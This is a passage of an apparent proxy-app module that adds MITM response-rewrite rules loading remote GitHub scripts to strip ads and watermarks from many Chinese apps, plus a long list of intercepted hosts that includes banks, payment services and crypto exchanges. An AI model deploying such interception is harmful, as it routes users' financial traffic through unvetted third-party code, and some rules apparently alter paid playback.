script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20 + +# 显示未关注你 +NetEaseCloudMusic_foll = type=http-response, pattern=^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/user\/follow\/users\/mixed\/get, script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20 + +# 首页净化,学习Tab界面净化,首页听读训练净化 +网易有道词典 = type=http-response, pattern=^https?:\/\/dict\.youdao\.com\/(homepage\/promotion|course\/tab\/home|homepage\/tile), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/youdao/dict-youdao-ad.js, requires-body=true, timeout=60 + +# > 温尼伯站 +温尼伯站 = type=http-response, pattern=^https:\/\/vue3-api\.zhixiny\.cn\/v1\/initui\?key=index, script-path=https://raw.githubusercontent.com/Sliverkiss/QuantumultX/main/AdBlock/xmApp/wnbz.js, requires-body=true, timeout=60 + +# > 小米商城 +小米商城 = type=http-response, pattern=^https?:\/\/api\.m\.mi\.com\/v1\/app\/start, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js, requires-body=true, timeout=60 + +# > 小兔充充 +小兔充充 = type=http-response, pattern=^https?:\/\/mapi\.xiaotucc\.com\/(mall\/main|main_page\/index\/getActivity), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xiaotucc.js, requires-body=true, timeout=60 + +# > 小芒 +小芒APP主页广告 = type=http-response, pattern=https://mgesq.api.mgtv.com/dsl/index.+, script-path=https://raw.githubusercontent.com/Sliverkiss/QuantumultX/main/AdBlock/xmApp/xmApp.js, requires-body=true, timeout=60 + +# 首页顶部标签 +闲鱼首页顶部标签 = type=http-response, pattern=^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.home\.whale\.modulet\/, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js, requires-body=true, timeout=60 + +# 搜索栏填充词 +闲鱼搜索栏填充词 = type=http-response, pattern=^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.search\.shade\/, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js, requires-body=true, timeout=60 + +# 首页闲鱼币入口、底部发布球 +闲鱼首页闲鱼币入口、底部发布球 = type=http-response, pattern=^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.user\.strategy\.list\/, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js, requires-body=true, timeout=60 + +# 商品信息流广告 +闲鱼商品信息流广告 = type=http-response, pattern=^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlehome\.home\.nextfresh\/, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js, requires-body=true, timeout=60 + +# 定位地区页面的信息流广告 +闲鱼定位地区页面的信息流广告 = type=http-response, pattern=^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.local\.home\/, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js, requires-body=true, timeout=60 + +# > 香蕉是一种水果 +香蕉是一种水果 = type=http-response, pattern=^https?:\/\/.+?\.(pipi|fuli|xiang(jiao|xiang))apps\.com\/(ucp\/index|getGlobalData|(\/|)vod\/reqplay\/), script-path=https://raw.githubusercontent.com/NobyDa/Script/master/QuantumultX/File/xjsp.js, requires-body=true, timeout=60 + +# 搜索页 +小红书搜索页 = type=http-response, pattern=^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/(banner|hot)_list, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +小红书搜索页 = type=http-response, pattern=^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/(hint|trending)\?, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +小红书搜索页 = type=http-response, pattern=^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/notes\?, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +# 开屏广告 +小红书开屏广告 = type=http-response, pattern=^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/system_service\/config\?, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +小红书开屏广告 = type=http-response, pattern=^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/system_service\/splash_config, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +# 详情页,小部件 +小红书详情页 = type=http-response, pattern=^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/note\/widgets, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +# 图片水印,视频水印 +小红书图片视频水印 = type=http-response, pattern=^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/v\d\/note\/(imagefeed|live_photo\/save), script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +小红书图片视频水印 = type=http-response, pattern=^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/v\d\/(followfeed|homefeed)\?, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +小红书图片视频水印 = type=http-response, pattern=^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/(v2\/note\/feed|v3\/note\/videofeed)\?, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +小红书图片视频水印 = type=http-response, pattern=^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/(v4\/note\/videofeed|v10\/note\/video\/save)\?, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +# 评论区图片、live图水印,表情包下载 +小红书评论区去水印存储 = type=http-response, pattern=^https:\/\/edith\.xiaohongshu\.com\/api\/sns\/(v5\/note\/comment\/list|v3\/note\/comment\/sub_comments)\?, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +小红书评论区去水印下载 = type=http-response, pattern=^https:\/\/edith\.xiaohongshu\.com\/api\/sns\/v1\/interaction\/comment\/video\/download\?, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js, requires-body=true, timeout=60 + +# 首页顶部去除直播 +喜马拉雅首页顶部去除直播 = type=http-response, pattern=^https?:\/\/.*\.xima.*\.com\/discovery-category\/customCategories, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js, requires-body=true, timeout=60 + +# 屏蔽首页横幅_Ad +喜马拉雅屏蔽首页横幅_Ad = type=http-response, pattern=^https?:\/\/.*\.xima.*\.com\/focus-mobile\/focusPic, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js, requires-body=true, timeout=60 + +# 屏蔽首页动态_Ad +喜马拉雅屏蔽首页动态_Ad = type=http-response, pattern=^https?:\/\/.*\.xima.*\.com\/discovery-feed\/v\d\/mix, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js, requires-body=true, timeout=60 + +# 屏蔽Tab页滚动_Ad +喜马拉雅屏蔽Tab页滚动_Ad = type=http-response, pattern=^https?:\/\/.*\.xima.*\.com\/discovery-category\/v\d/category, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js, requires-body=true, timeout=60 + +# 去除我的页面Ad_Tag +喜马拉雅去除我的页面Ad_Tag = type=http-response, pattern=^https?:\/\/.*\.xima.*\.com\/mobile-user\/v\d\/homePage, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js, requires-body=true, timeout=60 + +# 响应体 +YouTube响应体 = type=http-response, pattern=^https:\/\/youtubei\.googleapis\.com\/youtubei\/v1\/(browse|next|player|search|reel\/reel_watch_sequence|guide|account\/get_setting|get_watch), script-path=https://raw.githubusercontent.com/Maasea/sgmodule/refs/heads/master/Script/Youtube/youtube.response.js, requires-body=true, binary-body-mode=true, timeout=60 + +# 播放详情页,首页信息流,顶部tab,我的页面,评论区 +优酷 = type=http-response, pattern=^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.columbus\.(gateway\.new\.execute|home\.feed|home\.query|uc\.query|ycp\.query), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 底部tab +优酷底部tab = type=http-response, pattern=^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.haidai\.lantern\.appconfig\.get, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 青少年模式弹窗 +优酷青少年模式弹窗 = type=http-response, pattern=^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.huluwa\.dispatcher\.youthmode\.config2, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 搜索列表 +优酷搜索列表 = type=http-response, pattern=^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.soku\.yksearch, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 热剧弹窗 +优酷热剧弹窗 = type=http-response, pattern=^https?:\/\/push\.m\.youku\.com\/collect-api\/get_push_interval_config_wx\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 开屏广告 +优酷开屏广告 = type=http-response, pattern=^https?:\/\/un-acs\.youku\.com\/gw\/mtop\.youku\.play\.ups\.appinfo\.get, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# > 悠洗APP +悠洗APP = type=http-response, pattern=^https?:\/\/api\.ulife\.group\/market\/homeIconDetail\/list\/v7, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/yx.js, requires-body=true, timeout=60 + +# 首页 - 悬浮图标、顶部横幅、开屏广告、关注页推荐、推荐信息流、热榜信息流、热榜直播、回答底部卡片、精简顶部标签 +知乎移除首页推广 = type=http-response, pattern=^https:\/\/(?:api|page-info)\.zhihu\.com\/(?:answers|articles)\/v2\/\d+, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +知乎移除首页推广 = type=http-response, pattern=^https:\/\/api\.zhihu\.com\/commercial_api\/app_float_layer, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +知乎移除首页推广 = type=http-response, pattern=^https:\/\/api\.zhihu\.com\/feed\/render\/tab\/config\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +知乎移除首页推广 = type=http-response, pattern=^https:\/\/api\.zhihu\.com\/(?:moments_v3|topstory\/hot-lists\/total|topstory\/recommend), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +知乎精简顶部标签 = type=http-response, pattern=^https:\/\/api\.zhihu\.com\/root\/tab, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +知乎移除首页推广 = type=http-response, pattern=^https:\/\/api\.zhihu\.com\/v2\/topstory\/hot-lists\/everyone-seeing\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +# 会员页面 - 弹窗、悬浮动图 +知乎移除会员页面推广 = type=http-response, pattern=^https:\/\/api\.zhihu\.com\/bazaar\/vip_tab\/header\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +# 回答详情页 - 评论区顶部、下一个回答 +知乎移除回答详情页推广 = type=http-response, pattern=^https:\/\/api\.zhihu\.com\/next-(?:bff|data|render), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +知乎移除回答详情页推广 = type=http-response, pattern=^https:\/\/api\.zhihu\.com\/questions\/\d+(?:\/answers|\/feeds|\?include=), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +知乎移除回答详情页推广 = type=http-response, pattern=^https:\/\/www\.zhihu\.com\/api\/v4\/(?:articles|answers)\/\d+\/recommendations?\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +# 其他 - 服务器推送配置 +知乎拦截服务器推送配置 = type=http-response, pattern=^https:\/\/appcloud2\.zhihu\.com\/v3\/config, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +知乎拦截服务器推送配置 = type=http-response, pattern=^https:\/\/m-cloud\.zhihu\.com\/api\/cloud\/config\/all\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js, requires-body=true + +# 首页和理财页面横幅广告 +招商证券去广告 = type=http-response, pattern=^https:\/\/marketing\.cmschina\.com\/mkt\/api\/v1\?.*, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cmschina/cmschina.js, requires-body=true, timeout=20 + +# > 掌上公交 +掌上公交小程序广告 = type=http-response, pattern=^https?:\/\/wx\.mygolbs\.com\/WxBusServer\/ApiData\.do, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhangshanggongjiao.js, requires-body=true, timeout=60 + +# “我的”页面去除冗余的模块 +转转 = type=http-response, pattern=^https?:\/\/app\.zhuanzhuan\.com\/zz\/transfer\/getmyprofilev3, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhuanzhuan/zhuanzhuan.js, requires-body=true, timeout=60 + +# > 中国国际航空 +中国国际航空 = type=http-response, pattern=^https:\/\/m\.airchina\.com\.cn\/airchina\/gateway\/v\d(\.\d)*\/api\/services, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/airchina.js, timeout=60 + +# 主页面 +中国人保主页面 = type=http-response, pattern=^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/config\/homeInit\/v, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/picc/picc_ads.js, requires-body=true, timeout=60 + +# 我的页面 +中国人保我的页面 = type=http-response, pattern=^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/mpageconfig\/myPageConfigList\/v, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/picc/picc_ads.js, requires-body=true, timeout=60 + +[MITM] +hostname = %APPEND% *.gamersky.com, apis.folidaymall.com, emisdatacenteraws.hafoo.com, spamblocker-api.zeekstudio.com, marketing.cmschina.com, www.tailgdd.com, x.seeyouyima.com, axxd.xmseeyouyima.com, config-service.seeyouyima.com, web-stable-cdn.ykccn.com, gw3.ykccn.com, webapi.qmai.cn, miniapp.qmai.cn, ads.ysepay.com, mobile-consumer-sapp.chery.cn, testflight.apple.com, order-app-api.lbdj.com, plt.yorentown.com, lawsonapi.yorentown.com, ecloud.tppension.cntaiping.com, cache.bydauto.com.cn, app-v1.ecoliving168.com, api.51credit.com, patient-api.suh.cn, userpms-api.suh.cn, se-api.djiits.com, a.line.me, ad.line-scdn.net, buy.line.me, cix.line-apps.com, crs-event.line.me, d.line-scdn.net, gw.line.naver.jp, legy.line-apps.com, nelo2-col.linecorp.com, obs.line-scdn.net, scdn.line-apps.com, sch.line.me, static.line-scdn.net, uts-front.line-apps.com, w.line.me, vue3-api.zhixiny.cn, mbank5.jsbchina.cn, mobileapi.xiamenair.com, appapi.caiyicloud.com, res1.hubcloud.com.cn, vapp.tmuyun.com, api2.yaduo.com, api.gongkaoleida.com, magev6.if.qidian.com, syh.zybang.com, www.zybang.com, pzoap.moedot.net, app.api.d3yuiw4.com, app-izz.zhengzhou.gov.cn, creditcard.bankcomm.com, *.byteimg.com.*, www.cntv.cn, *.townmalls.cn, chat-live.soulapp.cn, api.flydigi.com, www.ymm56.com, app.ceair.com, mcsp.cloudpnr.com, saas-ad.cloudpnr.com, g.alicdn.com, api.huachenjie.com, open.e.kuaishou.cn, ad.shunchangzhixing.com, img01.51jobcdn.com, appapi.51job*.com, cupid.51job*.com, api5.youonbike.com, mgesq.api.mgtv.com, *.hitv.com, qiye.gaoding.com, gw.chuangkit.com, zlsdk.1rtb.net, web2.realtech-inc.com, sdk.1rtb.net, gw.xiaocantech.com, delivery-api.imdada.cn, adservice.sigmob.cn, api.u51.com, gateway.36kr.com, xxyx-client-api.xiaoxiaoyouxuan.com, statistic.live.126.net, zgrb.epicc.com.cn, ecssmobile.e-chinalife.com, compus.xiaofubao.com, imgx.jampp.com, ad.life.360.cn, wanciwangdata.oss-cn-beijing.aliyuncs.com, recite.perfectlingo.com, ggc.miguvideo.com, public-deliver9.miguvideo.com, display*-sc.miguvideo.com, recommend-dy.miguvideo.com, app-sc.miguvideo.com, common-sc.miguvideo.com, ggx*.miguvideo.com, ggic*.miguvideo.com, b-api.ins.miaopai.com, social.blued.cn, api.petkit.cn, ams-cdn.cdtft.cn, e.weather.com.cn, beehiveapi.58.com, apio.zhengqi100.com, res.hongyibo.com.cn, misc-api-prd-mx.wandafilm.com, e-static.aia.com.cn, api.sogaha.cn, api-miprint.hannto.com, api.indeedpower.com, alt-r.my.com, m.pvp.xoyo.com, *.pipix.com, daijia.kuaidadi.com, as.xiaojukeji.com, preprod.cdzghome.com, api.xbxxhz.com, sfo.mddcloud.com.cn, mob.mddcloud.com.cn, toblog.ctobsnssdk.com, t-dsp.pinduoduo.com, mobads-pre-config.cdn.bcebos.com, sdk1xyajs.data.kuiniuca.com, conf-darwin.xycdn.com, *.ubixioe.com, www.xiaoxiongmeishu.com, gateway.benewtech.cn, ntt-app.benewtech.cn, api-access.pangolin-sdk-toutiao-b.com, api-access.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao1.com, dsp-x.jd.com, api-cfg.wtzw.com, p1-lm.adukwai.com, bk.bingo.qq.com, maicai.api.ddxq.mobi, gw.api.ddxq.mobi, user.api.ddxq.mobi, c.zhangle.com, midc.cdn-static.abchina.com.cn, enjoy.cdn-static.abchina.com, ocrifs.ejoy.sinopec.com, apicloud.zol.com, minipro.95504.net, service.haiersmarthomes.com, gugongmini.dpm.org.cn, wechat.tf.cn, chl.tf.cn, mbasecc.bas.cmbchina.com, mbasecc.bcs.cmbchina.com, intellicc.bas.cmbchina.com, bohe.sfo-tx-shanghai-01.saas.sensorsdata.cn, api.boohee.com, lego.boohee.com, status.boohee.com, cdn.133.cn, acs.youku.com, push.m.youku.com, un-acs.youku.com, gw.alicdn.com, tiku.fenbi.com, napi.ithome.com, www.1314zhilv.com, mobile.flightradar24.com, api.17kjs.com, interface.aomiapp.com, oxadmin.cp.com.cn, home.umetrip.com, discardrp.umetrip.com, startup.umetrip.com, dictvip-business.youdao.com, dict.youdao.com, api-overmind.youdao.com, cdke.youdao.com, live.inst-service.htsc.com, gql.reddit.com, gql-fed.reddit.com, imcs.citicbank.com, mkt-gateway.tuhu.cn, tianqi.2345.com, shcss.suning.com, one-app-h5.faw-vw.com, lens.leoao.com, www.binance.info, www.yingwangtech.net, www.binance.com, api.hengdianfilm.com, ump.sz.creditcard.ecitic.com, tbgapplet.carlsberg.asia, mbmodule-openapi.paas.cmbchina.com, api.zhihu.com, appcloud2.zhihu.com, m-cloud.zhihu.com, www.zhihu.com, zhuanlan.zhihu.com, link.zhihu.com, open-cms-api.quark.cn, vv.video.qq.com, evs.500.com, dq.dxy.cn, m.you.163.com, open-cms-api.uc.cn, *.yuxueyuan.cn, pan-api.bitqiu.com, iapi.bishijie.com, run.api.qyfxgd.cn, gongdu.youshu.cc, api.21ec74.com, ztoread.ziroom.com, iphone.ac.qq.com, api.00bang.cn, app.hbooker.com, api.sfacg.com, api3.cls.cn, gateway-api.dushu365.com, external.fcbox.com, dsp.fcbox.com, bdsp-x.jd.com, app.homeinns.com, pic.edaijia.cn, cdn-evone-ceph.echargenet.com, mlol.qt.qq.com, gg.caixin.com, cn-acs.m.cainiao.com, zjdr666.com, adapi.izuiyou.com, access.mypikpak.com, open.fitdays.cn, ap.dongdianqiu.com, 103.91.210.141, js-ad.ayximgs.com, pipi.4kya.com, tft-app.cdtft.cn, t1.market.xiaomi.com, b.appsimg.com, ios.sspai.com, zconfig.alibabausercontent.com, easyreadfs.nosdn.127.net, sp.kaola.com, mapi.dangdang.com, client.qunar.com, slapi.oray.net, api.internetofcity.cn, lcen.xiaote.net, venus.yhd.com, api.shenyin.name, mage*.if.qidian.com, e.dangdang.com, adproxy.autohome.com.cn, explorer.tratao.com, overseas.weico.cc, 118.178.214.118, client.mail.163.com, api.psy-1.com, cdn.*.chelaileapp.cn, *.laichon.com, api-ad-product.huxiu.com, jad-api.jin10.com, appactive.1234567.com.cn, service.busi.inke.cn, dispatcher.camera360.com, 47.110.187.87, ssp.soulapp.cn, api-account.soulapp.cn, api-global.soulapp.me, api-a.soulapp.cn, api-pay.soulapp.cn, gateway-mobile-gray.soulapp.cn, api-chat.soulapp.cn, post.soulapp.cn, api-user.soulapp.cn, beta-api.crunchyroll.com, helper.2bulu.com, tagit.hyhuo.com, top-widgets-api.xiaozujian.com, *mangaapi.manhuaren.*, apis.lifeweek.com.cn, yanxuan.nosdn.127.net, *.peopleapp.com, new-app-api.ylyk.com, *.58cdn.com.cn, creditcardapp.bankcomm.com, lchttpapi.xczim.com, *.chelaile.net.cn, api.xiaoyi.com, api.douban.com, sso.ifanr.com, s3plus.meituan.net, cdb.meituan.com, *.hoopchina.com, goblin.hupu.com, gmp.lakala.com, wallet.lakala.com, hz.yxzq.com, api.winbull8.com, editor.sm.cn, p0.pipi.cn, 182.92.244.70, ad.myfriday.cn, ios-api.lucklyworld.com, www.onstar.com.cn, facade-api.black-unique.com, cstore-en-public-tx.seewo.com, oneapph5.dongfeng-nissan.com.cn, cds.wifi188.com, homefront.qunar.com, sh-gateway.shihuo.cn, cgbank.oss-cn-shenzhen.aliyuncs.com, imeres.baidu.com, api.taptapdada.com, a.sinopecsales.com, api.nj.nbtv.cn, v3.wufazhuce.com, ma-adx.ctrip.com, yun.tuitiger.com, www.pushplus.plus, ad.mcloud.139.com, fastbuyer.zbj.com, xhtz.oss-cn-guangzhou.aliyuncs.com, promote-trx.helipay.com, hfapp-service.qweather.net, api.ulife.group, api.sodalife.xyz, app.chinahxzq.com.cn, hdgateway.zto.com, mobile-api.imlaidian.com, wxs-weixin.sd.zhumanggroup.com, s.jiediankeji.com, smarket.dian.so, file.dian.so, aag.enmonster.com, hd.xiaojukeji.com, freight.xiaojukeji.com, capis*.didapinche.com, ad.xiaotucc.com, mapi.xiaotucc.com, adsoss.zhinengxiyifang.cn, api-marketing.zhinengxiyifang.cn, ads.zhinengxiyifang.cn, app.missevan.com, bd-api.kuwo.cn, h5app.kuwo.cn, bodianimgcdn.kuwo.cn, mgxhtj.kuwo.cn, nmobi.kuwo.cn, searchrecterm.kuwo.cn, audiobookpay.kuwo.cn, musicpay.kuwo.cn, vip1.kuwo.cn, pacdn.m.stock.pingan.com, manga.bilibili.com, bid.adview.cn, zua.zhidiantianxia.cn, app.10086.cn, mrp.mcloud.139.com, *.i18n-pglstatp.com, api.wmpvp.com, m.prod.app.hsbcfts.com.cn, p*.pstatp.com, mapi.txcmapp.com, api-one-wscn.awtmt.com, fintechappdr.cgws.com, m.qianbao.qq.com, j1.pupuapi.com, 54.222.159.138, ad.lofter.com, images.pinduoduo.com, lofter.lf127.net, client.tujia.com, www.gcores.com, app02.vgtime.com, www.vgtime.com, app.meruki.cn, qimg.cdnmama.com, ecapi.lkcoffee.com, capi.lkcoffee.com, m.lkcoffee.com, gsp.gacmotor.com, appdmkj.5idream.net, api.shanghaionstar.com, szdmobile.suzhou.gov.cn, api.bwton.com, z.onewo.com, plough.babytree.com, mapiweb.babytree.com, go.babytree.com, aimg.babytreeimg.com, *.ly.com, *.17usoft.com, *.17u.cn, mobilehotelapi.elong.com, quic-tcmapi.elong.com, blog.nilbt.com, www.banyuetanapp.com, ecard.shenzhentong.com, ccmsupport-sz.tenpay.com, dl.app.gtja.com, fuwu.nhsa.gov.cn, api?.sparke.cn, cube.elemecdn.com, nr-op.elemecdn.com, info.mina.xiaoaisound.com, marketing-aibox.v.mitvos.com, home.mi.com, tk.lanjiyin.com.cn, poplayer.template.alibaba.com, acs.m.taobao.com, amdc.m.taobao.com, guide-acs.m.taobao.com, api.alipan.com, member.alipan.com, acs-m.freshippo.com, mcs-mimp-web.sf-express.com, ucmp.sf-express.com, api.ncarzone.com, api.caiyunapp.com, wrapper.cyapi.cn, mres.aibank.com, direct.z-bank.com, mobile.1qianbao.com, middle.yun.139.com, mcmm.caiyun.feixin.10086.cn, cdn-oss.00bang.cn, mapi.sichuanair.com, b2baifanfan.baidu.com, app.badmintoncn.com, app.bilibili.com, api.bilibili.com, api.live.bilibili.com, grpc.biliapi.net, portal.zjzwfw.gov.cn, shopapi.io.mi.com, www.ahzs10000.com, quanguo.mygolbs.com, open.taou.com, h3.open.taou.com, sichuan.95504.net, app.10099.com.cn, sdk.alibaba.com.ailbaba.me, mrobot.pconline.com.cn, api.gameplus.qq.com, cdn.sdb.com.cn, creditcardapp.bankcomm.cn, router-app-api.jdcloud.com, api.yonghuivip.com, www.haixue.com, cdn.jlbank.com.cn, 3g.csair.com, gha.ghac.cn, webappcfg.paas.cmbchina.com, *.qyfxgd.cn, *.weilai555.com, *.ecoliving168.com, vip7.fzwdyy.cn, wcprd.hilton.com.cn, adx-cn.anythinktech.com, www.didapinche.com, client-api-v2.oray.com, sdk.alibaba.com, bgw.xinyue.qq.com, api.tipsoon.com, imeclient.openspeech.cn, m.360buyimg.com, business-cdn.shouji.sogou.com, ios.sogou.com, android.sogou.com, h5api.sginput.qq.com, m*.amap.com, optimus-ads.amap.com, pv.elife.icbc.com.cn, mangaapi.manhuaren.com, news.ssp.qq.com, ccsp-egmas.sf-express.com, zhidao.baidu.com, api.vistopia.com.cn, bp-api.bestv.com.cn, xyst.yuanfudao.com, mapi.appvipshop.com, guanyu.longfor.com, mp.weixin.qq.com, *.kingsoft-office-service.com, ptmpcap.caocaokeji.cn, pcauto.com.cn, mps.95508.com, i-lq.snssdk.com.*, img0*.luckincoffeecdn.com, app.zhoudamozi.com, apple.fuliapps.com, gurd.snssdk.com.*, peisongapi.meituan.com, cdn.cmgadx.com, api.gamer.com.tw, impservice.dictapp.youdao.com, api.gaoqingdianshi.com, cdn.dianshihome.com, *.kakamobi.cn, 47.100.65.202, youtubei.googleapis.com, app.wy.guahao.com, mapi.sfbest.com, *.xiangxiangapps.com, cmsfile.wifi8.com, prom.mobile.gome.com.cn, nnapp.cloudbae.cn, api.21jingji.com, a.qiumibao.com, jdread-api.jd.com, open.qyer.com, app-api.niu.com, us.l.qq.com, qde.qunar.com, res.pizzahut.com.cn, book.img.ireader.com, aes.acfun.cn, api-new.app.acfun.cn, images.cib.com.cn, jiucaigongshe.oss-cn-beijing.aliyuncs.com, mage.if.qidian.com, app.aa-ab.com, zone.guiderank-app.com, richmanrules.ksedt.com, richmanapi.jxedt.com, geetest.htsc.com, 119.29.29.*, api.m.mi.com, awg.enmonster.com, api.haohaozhu.cn, du.hupucdn.com, apps.api.ke.com, api.ycapp.yiche.com, omgup*.xiaojukeji.com, issuecdn.baidupcs.com, gab.122.gov.cn, www.oschina.net, m.ibuscloud.com, app.api.versa-ai.com, app-conf.ds.163.com, image*.benlailife.com, djcapp.game.qq.com, static.xyzq.cn, iobs.pingan.com.cn, app3.qdaily.com, api.mcd.cn, api.mgzf.com, open.e.kuaishou.com, osg-static.sgcc.com.cn, osg-service.sgcc.com.cn, app.dewu.com, cdn.poizon.com, supportda.ofo.com, r6.mo.baidu.com, res.mi.baidu.com, mbd.baidu.com, capi.mwee.cn, m.client.10010.com, m1.ad.10010.com, res.mall.10010.cn, app.yinxiang.com, img.meituan.net, baidu.com, *-release.wuta-cam.com, cdnmobibank.bankofbeijing.com.cn, mapi.mafengwo.cn, mada-travel.17u.cn, ebk.17u.cn, api.izuiyou.com, appconf.mail.163.com, api.dangdang.com, cmsapi.wifi8.com, daoyu.sdo.com, gw.aihuishou.com, bp-image.bestv.com.cn, portal-portm.meituan.com, mall.meituan.com, api.xiaoyuzhoufm.com, cdn-xyk-app.bankofbeijing.com.cn, thor.weidian.com, open3.vistastory.com, i.ys7.com, www.xiaohongshu.com, edith.xiaohongshu.com, ci.xiaohongshu.com, rec.xiaohongshu.com, api.caijingmobile.com, j5.dfcfw.com, capi.douyucdn.cn, icc.one, api.coolapk.com, ios.xiangjiaoapps.com, img.wukongtv.com, service.4gtv.tv, static.api.m.panda.tv, api-mifit*.huami.com, 